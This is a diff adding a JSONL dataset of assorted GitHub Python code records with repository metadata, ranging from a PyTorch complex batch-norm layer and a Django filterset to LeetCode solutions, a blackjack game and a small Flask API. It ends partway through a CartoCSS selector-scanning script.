diff --git "a/2169.jsonl" "b/2169.jsonl" new file mode 100644--- /dev/null +++ "b/2169.jsonl" @@ -0,0 +1,1113 @@ +{"seq_id":"12210944055","text":"\r\nprint(\"------DESAFIO 30------\")\r\nprint(\"----Par ou Ímpar?----\")\r\n\r\nnumero = int(input(\"Me diga um número qualquer: \"))\r\nparidade = 0\r\nif numero % 2 == 0:\r\n paridade = 'Par'\r\n print(f\"O número {numero} é {paridade}\")\r\nelif numero % 2 == 1:\r\n paridade = 'Ímpar'\r\n print(f\"O número {numero} é {paridade}\")","repo_name":"tamyressilvazz/PythonGeral","sub_path":"Desafio30.py","file_name":"Desafio30.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23120938524","text":"import torch\nfrom pydantic import BaseModel\nfrom torch import nn\nfrom typing import Optional, Any\nfrom deep.modules.utils import inverse_square_root_2x2\n\n\nclass ComplexBatchNorm(nn.Module):\n class ConstructorArgs(BaseModel):\n num_features: int\n eps: float = 1e-5\n momentum: Optional[float] = 0.1\n affine: bool = True\n track_running_stats: bool = True\n device: Any = None\n dtype: Any = None\n\n def __init__(\n self,\n num_features: int,\n eps: float = 1e-5,\n momentum: Optional[float] = 0.1,\n affine: bool = True,\n track_running_stats: bool = True,\n device=None,\n dtype=None) -> None:\n \n super(ComplexBatchNorm, self).__init__()\n\n self.num_features: int = num_features\n self.eps: float = eps\n self.momentum: Optional[float] = momentum\n self.affine: bool = affine\n self.track_running_stats: bool = track_running_stats\n\n n_feats = self.num_features\n\n if self.affine:\n self.Wrr_c = nn.Parameter(\n data=torch.empty(\n n_feats, device=device, dtype=dtype),\n requires_grad=True)\n self.Wri_c = nn.Parameter(\n data=torch.empty(\n n_feats, device=device, dtype=dtype),\n requires_grad=True)\n self.Wii_c = nn.Parameter(\n data=torch.empty(\n n_feats, device=device, dtype=dtype),\n requires_grad=True)\n self.Br_c = nn.Parameter(\n data=torch.empty(\n n_feats, device=device, dtype=dtype),\n requires_grad=True)\n self.Bi_c = nn.Parameter(\n data=torch.empty(\n n_feats, device=device, dtype=dtype),\n requires_grad=True)\n else:\n self.register_parameter('Wrr_c', None)\n self.register_parameter('Wri_c', None)\n self.register_parameter('Wii_c', None)\n self.register_parameter('Br_c', None)\n self.register_parameter('Bi_c', None)\n\n if self.track_running_stats:\n self.register_buffer(\n name='RMr_c',\n tensor=torch.zeros(n_feats, dtype=torch.float32))\n self.register_buffer(\n name='RMi_c',\n tensor=torch.zeros(n_feats, dtype=torch.float32))\n self.register_buffer(\n name='RVrr_c', \n tensor=torch.ones(n_feats, dtype=torch.float32))\n self.register_buffer(\n name='RVri_c', \n tensor=torch.zeros(n_feats, dtype=torch.float32))\n self.register_buffer(\n name='RVii_c', \n tensor=torch.ones(n_feats, dtype=torch.float32))\n self.register_buffer(\n name='num_batches_tracked',\n tensor=torch.tensor(0, dtype=torch.long))\n else:\n self.register_parameter('RMr_c', None)\n self.register_parameter('RMi_c', None)\n self.register_parameter('RVrr_c', None)\n self.register_parameter('RVri_c', None)\n self.register_parameter('RVii_c', None)\n self.register_parameter('num_batches_tracked', None)\n self.reset_parameters()\n\n def reset_running_stats(self):\n if self.track_running_stats:\n self.RMr_c.zero_()\n self.RMi_c.zero_()\n self.RVrr_c.fill_(1)\n self.RVri_c.zero_()\n self.RVii_c.fill_(1)\n self.num_batches_tracked.zero_()\n\n def reset_parameters(self):\n self.reset_running_stats()\n if self.affine:\n self.Br_c.data.zero_()\n self.Bi_c.data.zero_()\n\n # W will be positive-definite\n self.Wrr_c.data.fill_(1)\n self.Wri_c.data.uniform_(-.9, +.9)\n self.Wii_c.data.fill_(1)\n\n def forward(self, x_b2c__: torch.Tensor) -> torch.Tensor:\n _, complex_dim, in_features = x_b2c__.size()[:3]\n assert in_features == self.num_features\n assert complex_dim == 2\n\n xr_bc__ = x_b2c__[:, 0, ...]\n xi_bc__ = x_b2c__[:, 1, ...]\n exponential_average_factor = 0.0\n\n if self.training and self.track_running_stats:\n self.num_batches_tracked += 1\n\n # use cumulative moving average\n if self.momentum is None:\n exponential_average_factor = (\n 1.0 / self.num_batches_tracked.item())\n else: # use exponential moving average\n exponential_average_factor = self.momentum\n\n # NOTE: The precise meaning of the \"training flag\" is:\n # - True: Normalize using batch statistics, update \n # running statistics if they are being collected.\n # - False: Normalize using running statistics, ignore \n # batch statistics.\n training = self.training or not self.track_running_stats\n\n # Dimension list except feature dimension\n redux = [\n i for i in reversed(range(xr_bc__.dim())) if i != 1]\n\n # Shape of averaged vector\n vdim = [1] * xr_bc__.dim()\n vdim[1] = xr_bc__.size(1)\n\n # Mean M Computation and Centering\n # Includes running mean update if training and running.\n if training:\n Mr_1c__ = xr_bc__.mean(dim=redux, keepdim=True)\n Mi_1c__ = xi_bc__.mean(dim=redux, keepdim=True)\n if self.track_running_stats:\n Mr_c = Mr_1c__.squeeze(dim=redux)\n Mi_c = Mi_1c__.squeeze(dim=redux)\n # NOTE: For torch < 2.0\n # Mr_c = Mr_1c__\n # Mi_c = Mi_1c__\n # for d in redux:\n # Mr_c = Mr_c.squeeze(dim=d)\n # Mi_c = Mi_c.squeeze(dim=d)\n # RM += (exp_avg_factor * Mr)\n self.RMr_c.lerp_(\n Mr_c.detach().float(), exponential_average_factor)\n self.RMi_c.lerp_(\n Mi_c.detach().float(), exponential_average_factor)\n else:\n Mr_1c__ = self.RMr_c.view(vdim)\n Mi_1c__ = self.RMi_c.view(vdim)\n xr_bc__, xi_bc__ = xr_bc__ - Mr_1c__, xi_bc__ - Mi_1c__\n\n # Variance Matrix V Computation\n # Includes epsilon \n # numerical stabilizer/Tikhonov regularizer.\n # Includes running variance update if training and running.\n if training:\n Vrr_bc__ = xr_bc__ * xr_bc__\n Vri_bc__ = xr_bc__ * xi_bc__\n Vii_bc__ = xi_bc__ * xi_bc__\n\n Vrr_1c__ = Vrr_bc__.mean(dim=redux, keepdim=True)\n Vri_1c__ = Vri_bc__.mean(dim=redux, keepdim=True)\n Vii_1c__ = Vii_bc__.mean(dim=redux, keepdim=True)\n if self.track_running_stats:\n Vrr_c = Vrr_1c__.squeeze(dim=redux)\n Vri_c = Vri_1c__.squeeze(dim=redux)\n Vii_c = Vii_1c__.squeeze(dim=redux)\n\n # NOTE: For torch < 2.0\n # Vrr_c = Vrr_1c__\n # Vri_c = Vri_1c__\n # Vii_c = Vii_1c__\n # for d in redux:\n # Vrr_c = Vrr_c.squeeze(dim=d)\n # Vii_c = Vii_c.squeeze(dim=d)\n # Vri_c = Vri_c.squeeze(dim=d)\n\n self.RVrr_c.lerp_(\n Vrr_c.detach().float(), exponential_average_factor)\n self.RVri_c.lerp_(\n Vri_c.detach().float(), exponential_average_factor)\n self.RVii_c.lerp_(\n Vii_c.detach().float(), exponential_average_factor)\n else:\n Vrr_1c__ = self.RVrr_c.view(vdim)\n Vri_1c__ = self.RVri_c.view(vdim)\n Vii_1c__ = self.RVii_c.view(vdim)\n\n Vrr_1c__ = Vrr_1c__ + self.eps\n Vri_1c__ = Vri_1c__\n Vii_1c__ = Vii_1c__ + self.eps\n\n Urr_1c__, Uri_1c__, Uii_1c__ = inverse_square_root_2x2(\n Vrr_1c__, Vri_1c__, Vii_1c__)\n\n # Optionally left-multiply U by affine weights W to produce \n # combined weights Z, left-multiply the inputs by Z, then \n # optionally bias them.\n #\n # y = Zx + B\n # y = WUx + B\n # y = [Wrr Wri][Urr Uri] [xr] + [Br]\n # [Wir Wii][Uir Uii] [xi] [Bi]\n #\n if self.affine:\n Wrr_1c__ = self.Wrr_c.view(vdim)\n Wri_1c__ = self.Wri_c.view(vdim)\n Wii_1c__ = self.Wii_c.view(vdim)\n Zrr_1c__ = Wrr_1c__*Urr_1c__ + Wri_1c__*Uri_1c__\n Zri_1c__ = Wrr_1c__*Uri_1c__ + Wri_1c__*Uii_1c__\n Zir_1c__ = Wri_1c__*Urr_1c__ + Wii_1c__*Uri_1c__\n Zii_1c__ = Wri_1c__*Uri_1c__ + Wii_1c__*Uii_1c__\n else:\n Zrr_1c__, Zri_1c__, Zir_1c__, Zii_1c__ = (\n Urr_1c__, Uri_1c__, Uri_1c__, Uii_1c__)\n\n yr_bc__ = Zrr_1c__*xr_bc__ + Zri_1c__*xi_bc__\n yi_bc__ = Zir_1c__*xr_bc__ + Zii_1c__*xi_bc__\n\n if self.affine:\n yr_bc__ = yr_bc__ + self.Br_c.view(vdim)\n yi_bc__ = yi_bc__ + self.Bi_c.view(vdim)\n\n y_b2c__ = torch.stack([yr_bc__, yi_bc__], dim=1)\n return y_b2c__\n \n\ndef sanity_check_complex_bn():\n net = ComplexBatchNorm(num_features=4)\n\n net.train()\n for _ in range(1000):\n x_bct = 2 * torch.randn(16, 2, 4, 32) + 1\n y_bct = net(x_bct)\n\n print(net.RMr_c)\n print(net.RMi_c)\n print(net.RVrr_c)\n print(net.RVri_c)\n print(net.RVii_c)\n\n net.eval()\n with torch.no_grad():\n x_bct = torch.randn(16, 2, 4, 32)\n y_bct = net(x_bct)\n print(y_bct.size())\n\n\nif __name__ == '__main__':\n sanity_check_complex_bn()\n","repo_name":"huynguyenqc/SE-ComplexWiener","sub_path":"deep/complex_modules/batchnorm.py","file_name":"batchnorm.py","file_ext":"py","file_size_in_byte":9732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9626693342","text":"\"\"\"Loss refiner\n\"\"\"\n\nimport os\nimport sys\nsys.path.insert(0, os.getcwd()) # sets the root to the current working directory\nfrom torch.nn.modules.loss import _Loss\nfrom torch.autograd import Variable\nimport torch\nimport time\nimport numpy as np\nimport torch.nn as nn\nimport random\nimport torch.backends.cudnn as cudnn\nfrom pose_estimation.dense_fusion.lib.knn.__init__ import KNearestNeighbor\n\n\ndef loss_calculation(pred_r, pred_t, target, model_points, idx, points, num_point_mesh, sym_list):\n \"\"\"Loss calculation\n \n Arguments:\n pred_r {matrix} -- rotation\n pred_t {vector} -- translation\n target {[type]} -- \n model_points {[type]} -- points of the model\n idx {int} -- index\n points {[type]} -- input points\n num_point_mesh {int} -- number of points in mesh\n sym_list {list} -- list of symmetric objects\n \n Returns:\n [type] -- [description]\n \"\"\"\n knn = KNearestNeighbor(1)\n pred_r = pred_r.view(1, 1, -1)\n pred_t = pred_t.view(1, 1, -1)\n bs, num_p, _ = pred_r.size()\n num_input_points = len(points[0])\n\n pred_r = pred_r / (torch.norm(pred_r, dim=2).view(bs, num_p, 1))\n \n base = torch.cat(((1.0 - 2.0*(pred_r[:, :, 2]**2 + pred_r[:, :, 3]**2)).view(bs, num_p, 1),\\\n (2.0*pred_r[:, :, 1]*pred_r[:, :, 2] - 2.0*pred_r[:, :, 0]*pred_r[:, :, 3]).view(bs, num_p, 1), \\\n (2.0*pred_r[:, :, 0]*pred_r[:, :, 2] + 2.0*pred_r[:, :, 1]*pred_r[:, :, 3]).view(bs, num_p, 1), \\\n (2.0*pred_r[:, :, 1]*pred_r[:, :, 2] + 2.0*pred_r[:, :, 3]*pred_r[:, :, 0]).view(bs, num_p, 1), \\\n (1.0 - 2.0*(pred_r[:, :, 1]**2 + pred_r[:, :, 3]**2)).view(bs, num_p, 1), \\\n (-2.0*pred_r[:, :, 0]*pred_r[:, :, 1] + 2.0*pred_r[:, :, 2]*pred_r[:, :, 3]).view(bs, num_p, 1), \\\n (-2.0*pred_r[:, :, 0]*pred_r[:, :, 2] + 2.0*pred_r[:, :, 1]*pred_r[:, :, 3]).view(bs, num_p, 1), \\\n (2.0*pred_r[:, :, 0]*pred_r[:, :, 1] + 2.0*pred_r[:, :, 2]*pred_r[:, :, 3]).view(bs, num_p, 1), \\\n (1.0 - 2.0*(pred_r[:, :, 1]**2 + pred_r[:, :, 2]**2)).view(bs, num_p, 1)), dim=2).contiguous().view(bs * num_p, 3, 3)\n \n ori_base = base\n base = base.contiguous().transpose(2, 1).contiguous()\n model_points = model_points.view(bs, 1, num_point_mesh, 3).repeat(1, num_p, 1, 1).view(bs * num_p, num_point_mesh, 3)\n target = target.view(bs, 1, num_point_mesh, 3).repeat(1, num_p, 1, 1).view(bs * num_p, num_point_mesh, 3)\n ori_target = target\n pred_t = pred_t.contiguous().view(bs * num_p, 1, 3)\n ori_t = pred_t\n\n pred = torch.add(torch.bmm(model_points, base), pred_t)\n\n if idx[0].item() in sym_list:\n target = target[0].transpose(1, 0).contiguous().view(3, -1)\n pred = pred.permute(2, 0, 1).contiguous().view(3, -1)\n inds = knn.forward(target.unsqueeze(0), pred.unsqueeze(0))\n target = torch.index_select(target, 1, inds.view(-1).detach() - 1)\n target = target.view(3, bs * num_p, num_point_mesh).permute(1, 2, 0).contiguous()\n pred = pred.view(3, bs * num_p, num_point_mesh).permute(1, 2, 0).contiguous()\n\n dis = torch.mean(torch.norm((pred - target), dim=2), dim=1)\n\n t = ori_t[0]\n points = points.view(1, num_input_points, 3)\n\n ori_base = ori_base[0].view(1, 3, 3).contiguous()\n ori_t = t.repeat(bs * num_input_points, 1).contiguous().view(1, bs * num_input_points, 3)\n new_points = torch.bmm((points - ori_t), ori_base).contiguous()\n\n new_target = ori_target[0].view(1, num_point_mesh, 3).contiguous()\n ori_t = t.repeat(num_point_mesh, 1).contiguous().view(1, num_point_mesh, 3)\n new_target = torch.bmm((new_target - ori_t), ori_base).contiguous()\n\n # print('------------> ', dis.item(), idx[0].item())\n del knn\n return dis, new_points.detach(), new_target.detach()\n\n\nclass Loss_refine(_Loss):\n \"\"\"Loss refine\n \"\"\"\n def __init__(self, num_points_mesh, sym_list):\n \"\"\"Creates a Loss refine object\n \n Arguments:\n _Loss {torch.nn.modules.loss} -- base class for neurale network modules\n num_points_mesh {int} -- number of points in mesh\n sym_list {list} -- list of symmetric objects\n \"\"\"\n super(Loss_refine, self).__init__(True)\n self.num_pt_mesh = num_points_mesh\n self.sym_list = sym_list\n\n\n def forward(self, pred_r, pred_t, target, model_points, idx, points):\n \"\"\"Calculates the loss of Loss_refine\n \n Arguments:\n pred_r {matrix} -- rotation\n pred_t {vector} -- translation\n target {[type]} -- \n model_points {list} -- points of the model\n idx {int} -- index\n points {list} -- input points\n \n Returns:\n [type] -- loss, \n \"\"\"\n return loss_calculation(pred_r, pred_t, target, model_points, idx, points, self.num_pt_mesh, self.sym_list)\n","repo_name":"mathiasesn/obstacle_avoidance_with_dmps","sub_path":"pose_estimation/dense_fusion/lib/loss_refiner.py","file_name":"loss_refiner.py","file_ext":"py","file_size_in_byte":4977,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"39586807743","text":"from tkinter import *\nfrom PIL import ImageTk, Image\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nroot = Tk()\nroot.title('Charts')\n# root.iconbitmap('logo.ico')\nroot.geometry(\"640x520\")\n\n\ndef graph():\n house_prices = np.random.normal(200000, 250000, 5000)\n plt.hist(house_prices, 50)\n plt.savefig(fname='test.png')\n f = Image.open('test.png')\n global img\n img = ImageTk.PhotoImage(f)\n lbl = Label(root, image=img)\n lbl.grid(row=1, column=0)\n\n\nbutton = Button(root, text=\"Show graph\", command=graph).grid(row=0, column=0)\n\nroot.mainloop()\n","repo_name":"humanbeing-dev/Tkinter","sub_path":"tkinter_examples/matplotlib_charts.py","file_name":"matplotlib_charts.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"8125708451","text":"#!/usr/bin/env python\n\"\"\"\n Created by ZhuYB at 2022/12/13\n\"\"\"\n# Given a binary string s and an integer k, return true if every binary code of length k is a substring of s.\n# Otherwise, return false.\n\n# Input: s = \"00110110\", k = 2\n# Output: true\n# Explanation: The binary codes of length 2 are \"00\", \"01\", \"10\" and \"11\".\n# They can be all found as substrings at indices 0, 1, 3 and 2 respectively.\n\n\nclass Solution(object):\n def hasAllCodes(self, s, k):\n \"\"\"\n :type s: str\n :type k: int\n :rtype: bool\n \"\"\"\n needed = 2 ** k # 1 << k\n # seen = set()\n # for i in range(k, len(s)):\n # sub = s[i-k:i]\n # if sub not in seen:\n # seen.add(sub)\n # needed -= 1\n # if needed == 0:\n # return True\n # return False\n # rolling hash\n all_one = needed - 1 # 111\n hash_val = 0\n got = [False] * needed\n for i in range(len(s)):\n hash_val = ((hash_val << 1) & all_one) | int(s[i])\n if i >= k - 1 and got[hash_val] is False:\n got[hash_val] = True\n needed -= 1\n if needed == 0:\n return True\n return False\n\n\nif __name__ == \"__main__\":\n s = \"00110110\"\n k = 3\n Solution().hasAllCodes(s, k)\n\n\n","repo_name":"YingbingZhu/python_leetcode","sub_path":"array/1461. Check If a String Contains All Binary Codes of Size K.py","file_name":"1461. Check If a String Contains All Binary Codes of Size K.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33154977543","text":"from django.conf import settings\nfrom django_filters.rest_framework import FilterSet, filters\nfrom rest_framework.exceptions import ValidationError\n\nimport recipes.services as service\nfrom recipes.models import Recipe\n\n\nclass RecipeFilterSet(FilterSet):\n \"\"\"\n Фильтерсет для кастомной фильтрации.\n\n Фильтрация идет по следующим query праметрам:\n - author: указывается id автора рецепта\n - tags: указывается slug тега(ов)\n - is_favorited: true, выводит список рецептов из избранного\n - is_in_shopping_cart: true, выводит список рецептов из корзины\n\n Note:\n --------\n is_favorited и is_in_shopping_cart - самостоятельные параметры, совместное\n использование, в том числе с author приводит к возвращениее HTTP404_BAD_REQUEST\n \"\"\"\n tags = filters.CharFilter(\n method='filter_on_tags'\n )\n is_favorited = filters.CharFilter(\n method='check_is_in_favorited'\n )\n is_in_shopping_cart = filters.CharFilter(\n method='check_is_in_shopping_cart'\n )\n\n def filter_on_tags(self, queryset, name, value):\n tags = service.RecipesService().get_tags_by_slug(self.request.query_params.getlist('tags'))\n return queryset.filter(tags__tag__in=tags).distinct()\n\n def check_is_in_favorited(self, queryset, name, value):\n path_name = settings.PATH_PARAM_NAMES.get('favorited')\n\n if self.request.query_params.get(path_name) == 'true':\n favorite_recipes = service.RecipesService().get_user_favorite_recipes(\n user=self.request.user\n )\n\n return queryset.filter(id__in=[value[0]for value in favorite_recipes.values_list('recipe')]) # noqa\n\n return queryset\n\n def check_is_in_shopping_cart(self, queryset, name, value):\n path_name = settings.PATH_PARAM_NAMES.get('shopping_cart')\n\n if self.request.query_params.get(path_name) == 'true':\n favorite_recipes = service.RecipesService().get_user_shopping_cart(\n user=self.request.user\n )\n\n return queryset.filter(id__in=[value[0]for value in favorite_recipes.values_list('recipe')]) # noqa\n\n return queryset\n\n def is_valid(self):\n shopping_cart = self.request.query_params.get(\n settings.PATH_PARAM_NAMES.get('shopping_cart')\n )\n favorited = self.request.query_params.get(\n settings.PATH_PARAM_NAMES.get('favorited')\n )\n\n if shopping_cart and favorited:\n raise ValidationError({'error': settings.ERROR_MESSAGE.get('both_query_params')})\n elif (shopping_cart or favorited) and self.request.query_params.get('author'):\n raise ValidationError({'error': settings.ERROR_MESSAGE.get('unique_query_params')})\n\n return super().is_valid()\n\n class Meta:\n model = Recipe\n fields = ['author', 'tags']\n","repo_name":"ipodjke/foodgram-react-ddd","sub_path":"backend/apps/recipes/utils/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":3099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35565707042","text":"\"\"\" \nLogger Utility\n\"\"\"\nimport logging\nimport os\nimport sys\nfrom logging.handlers import RotatingFileHandler\n\n\ndef get_logger(name: str) -> logging.Logger:\n \"\"\"Get logger template for the given name.\n\n Args:\n name (str): file name\n\n Returns:\n logging.Logger: logger instance\n \"\"\"\n logger = logging.getLogger(name)\n logger.handlers = []\n handler = logging.StreamHandler(sys.stdout)\n file_handler = RotatingFileHandler(\n filename=\"src/logs/etl.log\", maxBytes=1000000, backupCount=5\n )\n level = logging.getLevelName(os.getenv(\"LOGGING_LEVEL\", \"INFO\"))\n logger.setLevel(level)\n\n format_logger = logging.Formatter(\n \"%(asctime)s - %(name)s - [%(levelname)s] - \" + \" - %(message)s\"\n )\n\n handler.setFormatter(format_logger)\n file_handler.setFormatter(format_logger)\n logger.addHandler(handler)\n logger.addHandler(file_handler)\n logger.propagate = False\n\n return logger\n","repo_name":"Davidcparrar/capstone-dataeng","sub_path":"src/logs/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39909169277","text":"#!/usr/bin/python3\n# d.py\n# Author: Claudio <3261958605@qq.com>\n# Created: 2022-02-21 23:33:57\n# Code:\n'''\n利用decimal模块计算panda的series对象\n'''\nfrom decimal import ROUND_HALF_UP, Decimal\nfrom functools import reduce\n\n\nclass D:\n '''\n decimal模块计算费用\n对pandas的Series进行操作\n'''\n\n def __init__(self, series):\n '''\n series:pandas的Series对象,内部数据为字符串\n '''\n self.series = series\n\n @classmethod\n def is_mumber(cls, x):\n '是否为int或float类型'\n return isinstance(x, (int, float))\n\n @classmethod\n def is_digit_str(cls, string):\n '是否为int或float类型的字符串'\n return string.replace('.', '1', 1).isdigit()\n\n @classmethod\n def to_decimal(cls, x):\n '转换为Decimal对象,仅支持float或int,或float,int字符串'\n if isinstance(x, Decimal):\n return x\n elif cls.is_mumber(x):\n return Decimal(str(x))\n elif cls.is_digit_str(x):\n return Decimal(x)\n else:\n return x\n\n @classmethod\n def divide(cls, up, below):\n 'decimal除法,返回Decimal对象'\n return cls.to_decimal(up) / cls.to_decimal(below)\n\n @classmethod\n def scale(cls, x, times=10000):\n '将x缩小times倍,返回Decimal对象'\n return cls.to_decimal(x)/Decimal(str(times))\n\n @classmethod\n def round(cls, x, ndigits=2):\n '将x保留ndigit位小数,返回decimal对象'\n ndigits_str = '0.'\n if ndigits <= 0:\n ndigits_str = '0'\n else:\n for i in range(ndigits):\n ndigits_str += '0'\n return cls.to_decimal(x).quantize(\n Decimal(ndigits_str),\n rounding=ROUND_HALF_UP)\n\n @classmethod\n def minus(cls, head, tail):\n '利用decimal:head - tail返回Decimal对象'\n return cls.to_decimal(head) - cls.to_decimal(tail)\n\n def _sum(self):\n '''\n 对pandas的series进行累加\n '''\n return reduce(lambda x, y: x+self.to_decimal(y), self.series, Decimal('0'))\n\n def sum(self, scale=False, rounding=False):\n '''求Series对象的总和,支持缩放和默认保留两位小数\n '''\n dresult = self._sum()\n if scale:\n dresult = self.scale(dresult)\n if rounding:\n dresult = self.round(dresult)\n return float(dresult)\n\n def per(self, total, rounding=True):\n '''根据总量total,计算Series总和的占比\n 默认放大100倍,保留两位小数\n '''\n amount = self._sum()\n dresult = self.divide(amount, total)\n dresult = self.scale(dresult, 0.01)\n if rounding:\n dresult = self.round(dresult)\n return float(dresult)\n\n\nif __name__ == '__main__':\n print(D.divide(1, 3))\n","repo_name":"claudiosgithubID/IncomeReportGenerator","sub_path":"d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7824791524","text":"class Solution(object):\n def merge(self, intervals):\n \"\"\"\n :type intervals: List[List[int]]\n :rtype: List[List[int]]\n \"\"\"\n r = []\n if not intervals:\n return []\n intervals = sorted(intervals)\n left = intervals[0][0]\n right = intervals[0][1]\n for i in intervals[1:]:\n if i[0] > right:\n r.append([left, right])\n left = i[0]\n right = i[1]\n else:\n right = max(right, i[1])\n r.append([left, right])\n return r\n\ns = Solution()\nprint(s.merge([[1,3],[2,6],[8,10],[15,18]]))\nprint(s.merge([[1,4],[0,4]]))\nprint(s.merge([[1,4],]))\n","repo_name":"0as1s/leetcode","sub_path":"56_merge.py","file_name":"56_merge.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6119127083","text":"import os, random, time\nfrom game_assets.cards import Deck\nfrom game_assets.players import AIPlayer, Player\n\n\nclass Blackjack:\n def __init__(self):\n # game intro\n self.intro()\n\n # create deck of cards\n self.deck = Deck()\n\n # create player and create AI Players\n self.players = [\n Player(),\n AIPlayer(),\n AIPlayer(),\n AIPlayer()\n ]\n\n # Start first round\n self.start_round()\n\n def start_round(self):\n self.clear_screen()\n\n # reset deck\n self.deck.create()\n\n # shuffle player list\n random.shuffle(self.players)\n\n # reset player hands\n for p in self.players:\n p.init_hand(self.deck)\n\n for p in self.players:\n p.draw_card(self.deck)\n\n\n self.get_winner()\n\n def get_winner(self):\n self.clear_screen()\n print(\"-\"*50, \"Get Winner\", \"-\"*50)\n time.sleep(2)\n\n players_in_turn = [player for player in self.players if player.count_hand <= 21]\n\n if not players_in_turn:\n print(\"Nobody wins this time.\")\n else:\n winner_list = sorted(players_in_turn, key= lambda p: p.count_hand)\n\n whinner = winner_list [-1]\n print(f\"The winner is: {whinner}\")\n \n player_input = input(\"Do you want to play a new round? (y/n)\")\n\n if player_input == \"y\":\n self.start_round()\n else:\n print(\"See you later!\")\n exit()\n\n def intro(self):\n self.clear_screen()\n print(\"=\"*50, \"BLACKJACK\", \"=\"*50)\n print(\"Welcome to my game of Blackjack...\")\n print(\"TODO game rules\")\n \n def clear_screen(self):\n os.system(\"cls\")\n\nBlackjack()","repo_name":"robertvari/Neocore_Python_alapok_4","sub_path":"Blackjack.py","file_name":"Blackjack.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12302831837","text":"from flask import Flask, jsonify\nfrom booksdata import books\napp= Flask(__name__)\n\n\n\n@app.route('/books')\ndef get_books():\n return jsonify({'books': books})\n\n@app.route('/books/')\ndef get_books_by_isbn(isbn):\n return_value={}\n for book in books:\n if book[\"isbn\"]==isbn:\n return_value = {\n 'name': book[\"name\"],\n 'price': book[\"price\"]\n }\n return jsonify(return_value)\n\napp.run(port=5000)","repo_name":"AakritiBarthwal/PythonFlaskApp","sub_path":"books.py","file_name":"books.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26017226557","text":"#!/usr/bin/python3\n\nimport sys\nimport re\nimport json\nimport textwrap\nimport pprint\nimport os\n\npath=\"\"\nif len(sys.argv) == 2:\n\tpath = sys.argv[1]\n\tif path[:-1] != '/':\n\t\tpath += '/'\n\ntextSelectors = set()\nsetOfSelectors = set()\n\nfor filename in os.listdir(path):\n\tif filename.endswith(\".mss\"):\n\t\tsetUsed = False\n\t\twith open(path+filename, 'r') as file:\n\t\t\tfiledata = file.read().replace('\\n','')\n\t\t# remove comments\n\t\tprint(\"Checking \"+filename)\n\t\tfiledata = re.sub('/\\*.*?\\*/','',filedata,re.DOTALL)\n\t\tsegments = re.split('(#[a-zA-Z-:]+[[ ])|(\\.[a-zA-Z-:]+[[ ])', filedata, flags=re.DOTALL)\n\n\t\tfor element in segments:\n\t\t\tif element is not None and element is not '':\n\n\t\t\t\tif (element.startswith(\"#\") or element.startswith('.')):\n\t\t\t\t\t#print(element)\n\t\t\t\t\tif (setUsed):\n\t\t\t\t\t\tsetOfSelectors.clear()\n\t\t\t\t\t\tsetUsed = False\n\t\t\t\t\tsetOfSelectors.add(element[:-1])\n\t\t\t\telif \"text-name:\" in element:\n\t\t\t\t\tprint(\" \"*2 + str(setOfSelectors) + \" has text in it\")\n\t\t\t\t\ttextSelectors.update(setOfSelectors)\n\t\t\t\t\tsetUsed = True\n\t\t\t\telif \"{\" in element:\n\t\t\t\t\t#print(\"{ found\")\n\t\t\t\t\tsetUsed = True\n\n# remove css pseudo classes\nnewset = set()\nfor foundSelector in textSelectors:\n\tif foundSelector.find(\":\") > 0:\n\t\tnewset.add(foundSelector[:foundSelector.find(\":\")])\n\telse:\n\t\tnewset.add(foundSelector)\ntextSelectors = newset\n\n# find entries for found ids and classes in the project mml file\t\t\t\nwith open(path+'project.mml') as data_file: \n\tdata = json.load(data_file)\n\nidlist = []\nclasslist = []\n\n# select all ids (all without # or . at the front!)\nfor i in range(len(data['Layer'])):\n idlist.append(data['Layer'][i]['id'])\nfor i in range(len(data['Layer'])):\n\tclasslist.append(data['Layer'][i]['class']) #most of them are empty for standard project.mml\n\n#print\nprintwidth = 200\n\npp = pprint.PrettyPrinter(width=printwidth)\nfor selector in textSelectors:\n\tif selector.startswith('#'):\n\t\tprint(\"\\n\"+selector+\" has the following datasource:\")\t\t\n\t\tdatasource = \"\"\n\t\tif idlist.count(selector[1:]) > 0:\n\t\t\tdatasource = data['Layer'][idlist.index(selector[1:])]['Datasource']\n\t\telse:\n\t\t\tfor entry in idlist:\n\t\t\t\tif selector[1:] in entry:\n\t\t\t\t\tdatasource = data['Layer'][idlist.index(entry)]['Datasource']\n\t\t\t\t\tbreak\n\t\tpp.pprint(datasource)\n\tif selector.startswith('.'):\n\t\tprint(\"\\n\"+selector+\" has the following datasource:\")\t\t\n\t\tdatasource = \"\"\n\t\tif classlist.count(selector[1:]) > 0:\n\t\t\tdatasource = data['Layer'][classlist.index(selector[1:])]['Datasource']\n\t\telse:\n\t\t\tfor entry in classlist:\n\t\t\t\tif selector[1:] in entry:\n\t\t\t\t\tdatasource = 